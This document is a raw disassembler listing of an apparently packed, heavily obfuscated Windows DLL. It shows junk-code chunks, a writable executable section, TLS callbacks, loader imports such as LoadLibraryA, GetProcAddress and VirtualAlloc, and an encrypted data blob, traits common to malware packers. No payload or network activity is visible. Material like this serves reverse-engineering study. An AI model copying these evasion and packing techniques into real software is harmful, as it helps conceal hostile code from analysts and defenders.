sub_10015066 loc_1001DBA4: ; CODE XREF: sub_10015066:loc_10017513j add eax, 47E68FD9h add eax, ebp add eax, 0B406ED23h jmp loc_10013BCA ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D201 loc_1001DBB7: ; CODE XREF: sub_1001D201:loc_10018116j xor esi, edi jmp loc_1001CC0C ; END OF FUNCTION CHUNK FOR sub_1001D201 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001558A loc_1001DBBE: ; CODE XREF: sub_1001558A:loc_10019668j mov ebp, esp add esp, 0FFFFFFF4h mov [ebp-8], edx mov [ebp-4], eax cmp dword ptr [ebp-8], 0 jnz loc_10014BC0 mov eax, [ebp-4] jmp loc_10018194 ; END OF FUNCTION CHUNK FOR sub_1001558A ; =============== S U B R O U T I N E ======================================= sub_1001DBDB proc near ; CODE XREF: an.kk9rg:10019F43p ; sub_100181E1+2A09j arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx xchg esi, [esp-4+arg_0] mov ebp, esi pop esi retn sub_1001DBDB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001DBE6: ; CODE XREF: sub_10019409-3977j jmp sub_1001534D ; END OF FUNCTION CHUNK FOR sub_10019409 ; =============== S U B R O U T I N E ======================================= sub_1001DBEB proc near ; CODE XREF: sub_10015868p ; an.kk9rg:loc_10019F38p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 100176D0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10018BB8 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 1001B9EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D640 SIZE 00000013 BYTES push ebp jmp loc_1001B9EA sub_1001DBEB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016C77 loc_1001DBF1: ; CODE XREF: sub_10016C77:loc_1001C3F7j pop eax add eax, 0FB1CF378h rol eax, 2 add eax, 53CC0552h popf xchg eax, [esp-4+arg_0] jmp loc_1001DAB4 ; END OF FUNCTION CHUNK FOR sub_10016C77 ; --------------------------------------------------------------------------- loc_1001DC0A: ; CODE XREF: an.kk9rg:10016097j jp loc_100149ED sbb esi, eax jmp sub_100175DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B956 loc_1001DC17: ; CODE XREF: sub_1001B956+Fj pop ecx and ecx, ds:100000C9h or ecx, 1C07D24Fh cmp ecx, 55114B53h jmp loc_1001AB1F ; END OF FUNCTION CHUNK FOR sub_1001B956 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001DC30: ; CODE XREF: an.kk9rg:1001C891j jmp nullsub_1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_1001DC35: ; CODE XREF: sub_1001504E:loc_10019838j jnz loc_100178FF sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jmp loc_10015AF2 ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001DC49: ; CODE XREF: sub_10013389+93F0j jno sub_10019B0D push edi loc_1001DC50: ; CODE XREF: sub_10013389:loc_10016388j sub edx, 377585EDh xor edx, 6EF9FD78h add edx, 1E88BCBBh xchg edx, [esp-0Ch+arg_8] jmp loc_10017A94 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- cdq ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_1001DC6B: ; CODE XREF: sub_1001C2D8:loc_1001C9C1j jmp sub_1001B956 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; =============== S U B R O U T I N E ======================================= sub_1001DC70 proc near ; DATA XREF: sub_1001DCDB+1o push 0F6409FD3h pop eax rol eax, 0Ch add eax, 60477D8h jmp loc_100145E3 sub_1001DC70 endp ; --------------------------------------------------------------------------- test edi, 687DB9A9h jmp loc_100192EB ; =============== S U B R O U T I N E ======================================= sub_1001DC8F proc near ; CODE XREF: sub_100142E8p ; FUNCTION CHUNK AT 10017C74 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax jnb sub_1001C84C push ebp mov ebp, esp push ecx jmp loc_10017C74 sub_1001DC8F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B1B loc_1001DCA2: ; CODE XREF: sub_10015B1B:loc_1001BCA0j jnz loc_10015B97 jmp loc_10019FD4 ; END OF FUNCTION CHUNK FOR sub_10015B1B ; --------------------------------------------------------------------------- jle loc_100133CB jmp sub_1001886B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_1001DCB8: ; CODE XREF: sub_10013688:loc_100193A6j and eax, 0E4295EFFh add eax, 0B7A3CC40h sub eax, 9653CBB3h rol eax, 11h add eax, 5A32820h xchg eax, [esp+4+var_4] jmp loc_10017C1A ; END OF FUNCTION CHUNK FOR sub_10013688 ; =============== S U B R O U T I N E ======================================= sub_1001DCDB proc near ; DATA XREF: sub_10013389+1D7o ; FUNCTION CHUNK AT 10018566 SIZE 00000005 BYTES pop ebp push offset sub_1001DC70 jmp loc_10018566 sub_1001DCDB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100153B8 loc_1001DCE6: ; CODE XREF: sub_100153B8:loc_10019940j xchg eax, [esp+0Ch+var_C] jmp loc_1001B9E5 ; END OF FUNCTION CHUNK FOR sub_100153B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017F49 loc_1001DCEE: ; CODE XREF: sub_10017F49:loc_10016EC2j mov ebp, edi pop edi xor eax, eax mov [ebp-4], eax push 41EEA7D9h jmp loc_10018241 ; END OF FUNCTION CHUNK FOR sub_10017F49 ; --------------------------------------------------------------------------- loc_1001DD00: ; DATA XREF: sub_1001564A+1AFDo imul byte ptr [edx] cmp al, 0A4h jz loc_100158DB jmp loc_10014A1D ; --------------------------------------------------------------------------- popf jmp sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001924A loc_1001DD15: ; CODE XREF: sub_1001924A+19j xchg eax, [esp-4+arg_0] jmp sub_1001DBEB ; END OF FUNCTION CHUNK FOR sub_1001924A ; =============== S U B R O U T I N E ======================================= sub_1001DD1D proc near ; CODE XREF: an.kk9rg:100143E5j ; an.kk9rg:100168E0p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 1001376B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018E15 SIZE 00000028 BYTES xchg ecx, [esp+4+var_4] pop ecx jnb loc_10018E33 mov eax, [esp+0] push ebx mov ebx, edx xchg ebx, [esp+4+var_4] call sub_10013372 jmp loc_10018E15 sub_1001DD1D endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_211. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001DD3B: ; CODE XREF: an.kk9rg:1001C499j jmp loc_1001C41E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014E66 loc_1001DD40: ; CODE XREF: sub_10014E66-84Bj jmp nullsub_217 ; END OF FUNCTION CHUNK FOR sub_10014E66 ; --------------------------------------------------------------------------- locret_1001DD45: ; CODE XREF: an.kk9rg:10018387j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018A1E loc_1001DD46: ; CODE XREF: sub_10018A1E+Ej jmp loc_1001C958 ; END OF FUNCTION CHUNK FOR sub_10018A1E ; --------------------------------------------------------------------------- pop ebx jmp sub_1001D2D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BBDA loc_1001DD51: ; CODE XREF: sub_1001BBDA-827j jl loc_10015113 ; END OF FUNCTION CHUNK FOR sub_1001BBDA ; START OF FUNCTION CHUNK FOR sub_1001BC80 loc_1001DD57: ; CODE XREF: sub_1001BC80-77B0j jmp loc_1001B654 ; END OF FUNCTION CHUNK FOR sub_1001BC80 ; --------------------------------------------------------------------------- xor ebp, esi cmp ebp, esi jmp loc_10015108 ; --------------------------------------------------------------------------- sbb ecx, esi jmp loc_100141B0 ; --------------------------------------------------------------------------- loc_1001DD6C: ; CODE XREF: an.kk9rg:1001AF8Fj jge loc_10015E53 ror edx, 12h ; START OF FUNCTION CHUNK FOR sub_1001B956 loc_1001DD75: ; CODE XREF: sub_1001B956:loc_1001AF78j add ecx, 0F2E9D143h xchg ecx, [esp+4+var_4] jmp loc_1001A9C1 ; END OF FUNCTION CHUNK FOR sub_1001B956 ; --------------------------------------------------------------------------- loc_1001DD83: ; CODE XREF: an.kk9rg:1001CE49j xchg ecx, [esp] jmp loc_10017EC0 ; =============== S U B R O U T I N E ======================================= sub_1001DD8B proc near ; CODE XREF: an.kk9rg:10015612j ; sub_1001D88D:loc_10019BCAp ; FUNCTION CHUNK AT 10018DAF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DEB4 SIZE 00000010 BYTES xchg ebx, [esp+0] pop ebx mov edx, 0A22F8A70h call sub_1001DECE mov ds:dword_10013FE0, eax call sub_100180C2 jmp loc_10018DAF sub_1001DD8B endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001DDA8: ; CODE XREF: an.kk9rg:loc_100160B5j ; an.kk9rg:100160CEj or edi, 733A6FBCh and edi, 1E59467Ch or edi, 3240653Ch add edi, 286FD6BFh add edi, ebp add edi, 0A536C201h mov [edi], eax jmp loc_10015E48 ; --------------------------------------------------------------------------- loc_1001DDCF: ; CODE XREF: an.kk9rg:1001AA9Fj jle loc_10015EF7 ; =============== S U B R O U T I N E ======================================= sub_1001DDD5 proc near ; CODE XREF: sub_10015131+786p xchg edi, [esp+0] pop edi test byte ptr [eax-8], 8 setnz al call sub_100182D9 pop ecx mov edx, [ebp+8] jmp loc_1001808E sub_1001DDD5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ACA5 loc_1001DDEE: ; CODE XREF: sub_1001ACA5-3054j sub ecx, 4DC7B235h popf loc_1001DDF5: ; CODE XREF: sub_1001ACA5:loc_10017C47j sub ecx, 0CF8F4AAEh xor ecx, 654C7FFDh add ecx, 0CA9FE8FEh jmp loc_1001554D ; END OF FUNCTION CHUNK FOR sub_1001ACA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001DE0C: ; CODE XREF: sub_10017394-234Bj jnz loc_1001AF1A adc edx, edi loc_1001DE14: ; CODE XREF: sub_10017394+1207j add edx, 0BF2C8A0Ch call sub_1001534D push ebp mov ebp, eax jmp loc_10014520 ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- loc_1001DE27: ; DATA XREF: an.kk9rg:10013720o jnz loc_1001A830 pop edx mov eax, [esp] push edx call sub_10014B85 push 15E99FA2h pop eax jmp loc_10018A14 ; --------------------------------------------------------------------------- loc_1001DE42: ; CODE XREF: an.kk9rg:10013296j jnp loc_1001992B ; =============== S U B R O U T I N E ======================================= sub_1001DE48 proc near ; CODE XREF: sub_1001498A+FA5p ; FUNCTION CHUNK AT 100152BF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 100162EB SIZE 0000000D BYTES xchg esi, [esp+0] pop esi mov [ebp-4], eax mov eax, [ebp-4] mov [ebp-8], eax mov eax, [ebp+8] jmp loc_100162EB sub_1001DE48 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001DE5E: ; CODE XREF: sub_10016D66:loc_100163F0j pop esi sub esi, 45694318h xor esi, 8C96AD3h or esi, 24FA2D3Ch rol esi, 4 add esi, 21F034D2h add eax, esi jmp loc_1001ADA4 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001DE81: ; CODE XREF: sub_10013389:loc_1001432Aj cmp ebp, ebx jmp loc_100145CD ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001DE88: ; CODE XREF: an.kk9rg:10019F5Fj mov byte ptr [edx], 0E9h pop edx xchg edi, [esp] jmp nullsub_12 ; --------------------------------------------------------------------------- dd 0FF3167E9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_1001DE99: ; CODE XREF: sub_1001537B+42A4j jmp loc_100152FE ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- loc_1001DE9E: ; CODE XREF: an.kk9rg:10017AD8j jmp loc_10018093 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014418 loc_1001DEA3: ; CODE XREF: sub_10014418+Bj jmp nullsub_174 ; END OF FUNCTION CHUNK FOR sub_10014418 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD "+" TO EXPAND] db 84h, 0CEh, 0E6h dd 0E955FFFFh, 0FFFF6580h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DD8B loc_1001DEB4: ; CODE XREF: sub_1001DD8B:loc_10018DAFj mov edx, 0A2CD59D9h call sub_1001DECE mov ds:dword_1001BC9C, eax retn ; END OF FUNCTION CHUNK FOR sub_1001DD8B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DA6D loc_1001DEC4: ; CODE XREF: sub_1001DA6D+6j jmp loc_10017F3F ; END OF FUNCTION CHUNK FOR sub_1001DA6D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001679F loc_1001DEC9: ; CODE XREF: sub_1001679F+39D0j jmp loc_10013748 ; END OF FUNCTION CHUNK FOR sub_1001679F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001DECE proc near ; CODE XREF: sub_100182A3+Ap ; sub_10016B92:loc_1001839Cp ... ; FUNCTION CHUNK AT 1001630E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019DCC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001D294 SIZE 0000000A BYTES push ebp mov ebp, esp jno loc_1001D294 jmp loc_10019DCC sub_1001DECE endp ; --------------------------------------------------------------------------- loc_1001DEDC: ; CODE XREF: an.kk9rg:1001C3E7j push ebp cmp ebx, 259CBA82h jmp loc_100174CC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_162. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001DEE9: ; CODE XREF: sub_10016167:loc_1001AD46j jz loc_1001AD36 ; END OF FUNCTION CHUNK FOR sub_10016167 ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001DEEF: ; CODE XREF: sub_100136D7:loc_1001372Fj jmp loc_1001AD66 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_1001DEF5: ; CODE XREF: sub_10013061+9805j jmp loc_1001347E ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- loc_1001DEFA: ; CODE XREF: an.kk9rg:10018DA9j ror ecx, 1Bh loc_1001DEFD: ; CODE XREF: an.kk9rg:10018D98j add ebx, 98BBAA9Bh mov [ebx], eax pop ebx lea eax, nullsub_98 jmp loc_100190C9 ; --------------------------------------------------------------------------- locret_1001DF11: ; CODE XREF: an.kk9rg:loc_1001452Dj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001701B loc_1001DF12: ; CODE XREF: sub_1001701B:loc_10016F60j ; an.kk9rg:100177F0j jmp loc_1001D8ED ; END OF FUNCTION CHUNK FOR sub_1001701B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_1001DF17: ; CODE XREF: sub_1001456F:loc_10014AE9j ; sub_10017BF9-2F83j ... jmp loc_10013A50 ; --------------------------------------------------------------------------- loc_1001DF1C: ; CODE XREF: sub_1001456F+688Fj ; sub_10017BF9+3B68j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_1001456F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001DF1F: ; CODE XREF: sub_1001ABFD-6AD7j jmp loc_1001A376 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_10014629 ; --------------------------------------------------------------------------- loc_1001DF2C: ; CODE XREF: an.kk9rg:10017089j cmp eax, edx jmp loc_10015364 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B8D3 loc_1001DF33: ; CODE XREF: sub_1001B8D3-2470j xchg esi, [esp-8+arg_4] jmp nullsub_178 ; END OF FUNCTION CHUNK FOR sub_1001B8D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001DF3B: ; CODE XREF: sub_1001492C+BDAj jz loc_10014E2C sbb ebx, 3A3E31A3h rol eax, 17h pop edx loc_1001DF4B: ; CODE XREF: sub_1001492C:loc_1001A078j push 0B0A0FBE7h pop eax sub eax, 0BCE3103Dh rol eax, 11h jmp loc_1001D44D ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ror esi, 12h jmp sub_10015712 ; --------------------------------------------------------------------------- db 28h dd 6631E610h, 8E01DD26h, 0BC05E3EDh, 0E6B718h, 22h dup(0) an_kk9rg ends ; Section 8. (virtual address 0001E000) ; Virtual size : 0000C000 ( 49152.) ; Section size in file : 0000C000 ( 49152.) ; Offset to raw data for section: 0001E000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _3a14gzkz segment para public 'CODE' use32 assume cs:_3a14gzkz ;org 1001E000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing db 0CCh db 0E0h, 1, 0 align 8 dd 0FFFFFFFFh, 1E03Ch, 1E0B4h, 1E108h, 0 dd 0FFFFFFFFh, 1E0E8h, 1E104h, 5 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h dd 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h, 64644163h dd 73736572h, 0 dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h dd 6C6C416Ch, 636Fh, 69560000h, 61757472h, 6572466Ch, 65h dword_1001E0B4 dd 77E79F93h ; DATA XREF: sub_10029851+28r dword_1001E0B8 dd 77E805D8h ; DATA XREF: sub_10029851+37r dword_1001E0BC dd 77E7A5FDh ; DATA XREF: sub_10029851+8Er dword_1001E0C0 dd 77E75CB5h ; DATA XREF: _3a14gzkz:100278AAr ; sub_10027CEA+7r ... dword_1001E0C4 dd 77E7980Ah, 77E79E34h, 1E04Ch, 1E060h, 1E070h, 1E084h ; DATA XREF: sub_100299B9+1Eo dd 1E094h, 1E0A4h, 0 dd 72657375h, 642E3233h, 6C6Ch, 654D0000h, 67617373h, 786F4265h dd 41h dword_1001E104 dd 77D6ADD7h ; DATA XREF: sub_10029908+64r dd 1E0F4h, 0 TlsDirectory dd 0 TlsEnd_ptr dd 0 TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsCallbacks TlsSizeOfZeroFill dd 0 TlsCharacteristics dd 0 TlsIndex dd 0 ; DATA XREF: _3a14gzkz:TlsIndex_ptro TlsCallbacks dd offset TlsCallback_0 ; DATA XREF: _3a14gzkz:TlsCallbacks_ptro dd 0 ; =============== S U B R O U T I N E ======================================= sub_1001E134 proc near ; CODE XREF: _3a14gzkz:1002807Dp push esi push ecx mov esi, eax mov ecx, edx sub ecx, 4 cld loc_1001E13E: ; CODE XREF: sub_1001E134+21j lodsb shr al, 1 cmp al, 74h jnz short loc_1001E154 mov eax, [esi] bswap eax add eax, ecx mov [esi], eax add esi, 4 sub ecx, 4 loc_1001E154: ; CODE XREF: sub_1001E134+10j dec ecx jg short loc_1001E13E pop ecx pop esi retn sub_1001E134 endp ; --------------------------------------------------------------------------- db 8Bh, 0C0h dd offset loc_10001000 dd 0A00434Ah, 0 dd 2D770000h, 450020E5h, 49A8C40Bh, 5B0E5707h, 0A05952CBh dd 8A95646Fh, 0D3D01604h, 0C201E102h, 183B15EFh, 6A62662Dh dd 32642304h, 44222411h, 27BE8963h, 72AB9774h, 0DC41F610h dd 0D3FFE90Ch, 43EE38CEh, 2991878Ch, 7B157FDCh, 0FD0D7933h dd 0B1305D2Dh, 0A5DFF99Bh, 0ECB032D7h, 4895AE04h, 14040D74h dd 0CB22849Ah, 818BE049h, 42A5311h, 0E00B29BEh, 2065A242h dd 0CD7745E8h, 2CA797BAh, 2B58978Ah, 6138F948h, 0AA22BBEDh dd 0FF71F0ACh, 0D2040CD7h, 500578EFh, 0DCA8C4h, 68951B71h dd 400D573Ch, 0CD20046Ah, 0D18CB060h, 3F7C7DEDh, 5C56EFE5h dd 0C5C2853Fh, 73257374h, 53976E17h, 0AF806F20h, 84F0B9F1h dd 0AED70AC2h, 0F84EAC64h, 62FF7C6Ch, 7D69933Eh, 98490AA0h dd 0F9C03446h, 0F2CDD17Eh, 4F0021B9h, 68FF5E8Dh, 97FC9E65h dd 4E11EF6Ch, 59676840h, 59C0026Ch, 1BB0528Ch, 0E18DA617h dd 46191AF7h, 0AC809E96h, 0F20DE184h, 0E7A0F5F6h, 1EE25C51h dd 82D28855h, 0C7E2BD0h, 8326DFFCh, 92D80C53h, 0B1907665h dd 348CA01Ah, 967B266Ch, 0D53298B4h, 0E819FFDDh, 784DFC4Eh dd 60C03611h, 5B2C2689h, 0F942C329h, 1E4C009Dh, 929287FAh dd 1638E5Fh, 0D26025DDh, 348E7206h, 9184DA6Ch, 6A0D377Fh dd 16B066F5h, 0CB7D11B1h, 6887C711h, 0B0B21645h, 9BA4DD03h dd 0B0B4334Bh, 48303332h, 6B1F15B8h, 0B6395C41h, 5A89D891h dd 65222828h, 971B2F96h, 3263B826h, 32951090h, 588132EFh dd 0A9C1750h, 4E913581h, 33740A83h, 0A500405Eh, 6FEA3C30h dd 0B953DC69h, 0C1845E12h, 48A43158h, 0CC458A23h, 0CBD96112h dd 460AED16h, 6D9044A1h, 9256DEC3h, 8C5AC0A2h, 0FE28AA6Fh dd 2BEA0914h, 14C42D97h, 0B020767h, 0DE00142Dh, 11263004h dd 1BBB6C9Bh, 1E6F98A2h, 0D228CCA0h, 2A136502h, 0CA6904CAh dd 6C204019h, 0F7F71415h, 8A4416FFh, 5E0F40E6h, 4D720336h dd 0E0AF1384h, 0C5E15169h, 1BB42909h, 2C857486h, 38B6E88Ch dd 74F8E48Ch, 12C6DD95h, 903BCEE9h, 0FCA5544Eh, 78A60205h dd 68DD53BFh, 305DA041h, 783F2269h, 3C322248h, 12528CC8h dd 624990C6h, 0C1D6494Bh, 4446424h, 1BBA4A57h, 118AB9B0h dd 11AC235Ch, 462235Ah, 846A88D6h, 411AC8D5h, 4846A235h dd 5011988Dh, 6C00A223h, 0F784A789h, 15B11E39h, 983F5609h dd 7B2C7FF6h, 96F3EE1Eh, 83E7A7D3h, 0EBFA2457h, 0D6712C90h dd 47779E97h, 15158B0h, 814AFB06h, 256A8C09h, 51E8A152h dd 19581F9Ch, 0A84D15Ch, 190AF7FFh, 4DEA8445h, 0B3BA97A7h dd 0E90BBA52h, 71F82CCAh, 0C97E9F5Fh, 0F05A358Dh, 14B852B8h dd 621B1A59h, 0B64426Ah, 2D954C07h, 0BE222EB5h, 2909A31Fh dd 77F25B10h, 531FB7FDh, 0DAD1C95Eh, 422F7E62h, 346EF5D2h dd 1C4CED41h, 64B53406h, 9FE31169h, 2D14A18Bh, 7D2CAE17h dd 5DFF0107h, 2F170537h, 0EF4F8856h, 887DD3FFh, 0E0E1D8F1h dd 600FE965h, 0EBF44A85h, 0DD9C7F40h, 2802BD9Dh, 36E6E381h dd 20836BA1h, 4E8128A2h, 0BE87F6B5h, 63A52305h, 0EFFFEE18h dd 69BB28E1h, 0EA5A3033h, 0BEB2C61Eh, 747269A3h, 47AF92D6h dd 0BD97DBBCh, 9AF4EC30h, 0CB4A2A8Fh, 82B1D1B7h, 0D80AD134h dd 973F44ABh, 1E7ED174h, 0AEFFDF24h, 6E1CB87Ah, 449DED7Fh dd 656CEC95h, 9C4BB6FBh, 0F9F80F3Ah, 0BFD0EB74h, 0F23464F5h dd 0EDB96B5h, 9C74C3D9h, 0E63E5574h, 56484B9Fh, 8F6D033Ch dd 0A7967A80h, 5AA550A8h, 0AB8024D2h, 8BB12D40h, 917F85E2h dd 703C92B5h, 60C94AABh, 70471218h, 1819957Dh, 0C4E4724Fh dd 0E16C586Bh, 0D4B7D3AAh, 0A2803799h, 4AF5B9CBh, 0EE5A0A1Dh dd 8C753AFAh, 9A4D0953h, 51EA36EBh, 0AC9BC07h, 6040988h dd 0CFE17697h, 0A5111794h, 736874B5h, 0F89D46A2h, 0DD229476h dd 2832244Eh, 693C6CF0h, 7799E53Ch, 0FC51A6EDh, 0FCD44038h dd 3967844Eh, 0C8F22323h, 95FC452Dh, 0E2E98A2Dh, 4CDF0976h dd 5D6C1D5Bh, 45C6810Dh, 605383EAh, 0A7DF851Ch, 5DE2875Ch dd 0D0642D95h, 0E6D4DBB6h, 0E96286D0h, 0F0190B38h, 0E9CDF757h dd 0F060845Bh, 0DFEF0A71h, 4A7D535Dh, 35847297h, 0BB6FE3C7h dd 0F67FE67Eh, 0A48FE7Ah, 0F5BE2B7Fh, 11AC2A54h, 0F31CCBC3h dd 5530C1AAh, 0CEF7EED3h, 0D5830FDAh, 6471D75Ah, 319A503Ah dd 3BAE7AC7h, 4800F8C0h, 1224h, 0A000000h, 20000000h, 434A1000h dd 200h, 0 dd 20D92B30h, 1884775Ch, 2125A02h, 1EDC1A1Ah, 0FA3A1D4Bh dd 421DFBBAh, 123A5A10h, 3A2216BCh, 0EA1D1C82h, 1A1D9A17h dd 0FB7A14EBh, 921C1A0Ah, 11EE2A07h, 43048B00h, 0EFBE1100h dd 0 dd 200h, 10003000h, 800434Ah, 0 dd 135D0000h, 713E20FDh, 0C6575EB1h, 0A769783Eh, 0DF6CF51Ah dd 7AF67FB6h, 84E0C332h, 0F1DA473Dh, 216AD472h, 25FFBD87h dd 3251E35Fh, 1F90AA85h, 4B648DF5h, 0FEE2C50Eh, 0A4E2D63Eh dd 0AF9F85FDh, 13B228B8h, 764C6699h, 865EFA69h, 0A2678792h dd 5A6C0DD4h, 0B5A5B798h, 32091E55h, 3F105C31h, 74B477BAh dd 667794E6h, 0DF451344h, 79E6193Dh, 0FE436CCCh, 0CB4295CCh dd 0DC8D1D0Dh, 0A8FA6313h, 0B98FFB77h, 9727F825h, 80FE965Ch dd 99E7F70Eh, 0CFD57F97h, 0BB885335h, 29217933h, 727586D7h dd 0AFBFC361h, 20F86929h, 371F2367h, 3F416FE1h, 61D5CC9Bh dd 1CC5FF54h, 0B691C2DCh, 0F2FDB28Dh, 91584F69h, 9671A436h dd 895E8B9Eh, 0F991B03Ah, 0BC99C677h, 0B1C44A35h, 0B9DF2D7Eh dd 96E896F4h, 3CF14956h, 94BA4E47h, 7576564h, 0A3E8091Ah dd 1A74AF30h, 51A4ADB6h, 36A2EFF7h, 0E7F2D308h, 0D5D17F6Eh dd 8997F9F1h, 0FFA2A5BFh, 19BE423Bh, 719CDCF1h, 0FD39DF97h dd 27B3D657h, 593659AFh, 17CB92A1h, 0FAD2B28Ch, 6B670B2Fh dd 218D3A92h, 34537BC9h, 0D0BDF6Eh, 8852FEBAh, 7905E551h dd 569EED7Ch, 9C083239h, 0F77AFCF1h, 6C5E6FD3h, 0EA2BAE7Fh dd 0E7B1CB67h, 4E674FFCh, 0CC647D9Eh, 5D46F963h, 474B2CBFh dd 96CA5E24h, 4B389F25h, 8EEB9EF4h, 0D19991Bh, 8F63E86Eh dd 5F7CB0FCh, 0F2EDEA3Fh, 7EE0D48Fh, 6D13A398h, 8ED03329h dd 0EA6523A4h, 88BEFCD1h, 12BF2AFFh, 2DBD5361h, 0BC304CA7h dd 7BC6ECCBh, 208773D2h, 0B46D4771h, 42D3EB32h, 0FA52CCE9h dd 6E259D80h, 0B5A82AF1h, 0D23B3E41h, 6226CAF7h, 843C0CB0h dd 4F9E125Ah, 76F08C8Ah, 6B818EE7h, 64EB896Eh, 6652B2BEh dd 0ECFC324Ah, 1F4F5D87h, 0ABDC3611h, 0D3DCDF8Fh, 53C87FABh dd 748647E6h, 6E9FC2FCh, 0FE95B6BFh, 7E279097h, 0E7372EAh dd 0B8E6BD1Ah, 64194747h, 0AE21CDFFh, 7EA12A6Dh, 55B2959Dh dd 0EEF5B2ADh, 28947B2Dh, 8E678B49h, 0D1F50AE4h, 0C9BEE3E4h dd 5149B75Fh, 7314D73Fh, 52EFA1D6h, 0D0A8E9A7h, 77E24C8Ch dd 0EE5AF4BBh, 0C0732C5Fh, 18F54D45h, 6AD37672h, 4BFE6F06h dd 14A3E1E9h, 0FFE5177Fh, 0E7E0FE6h, 0CACFE2F7h, 35CD42C1h dd 77FE667Fh, 885A716Ch, 0DB3F77FAh, 0F4FF617Fh, 5F3C4EB5h 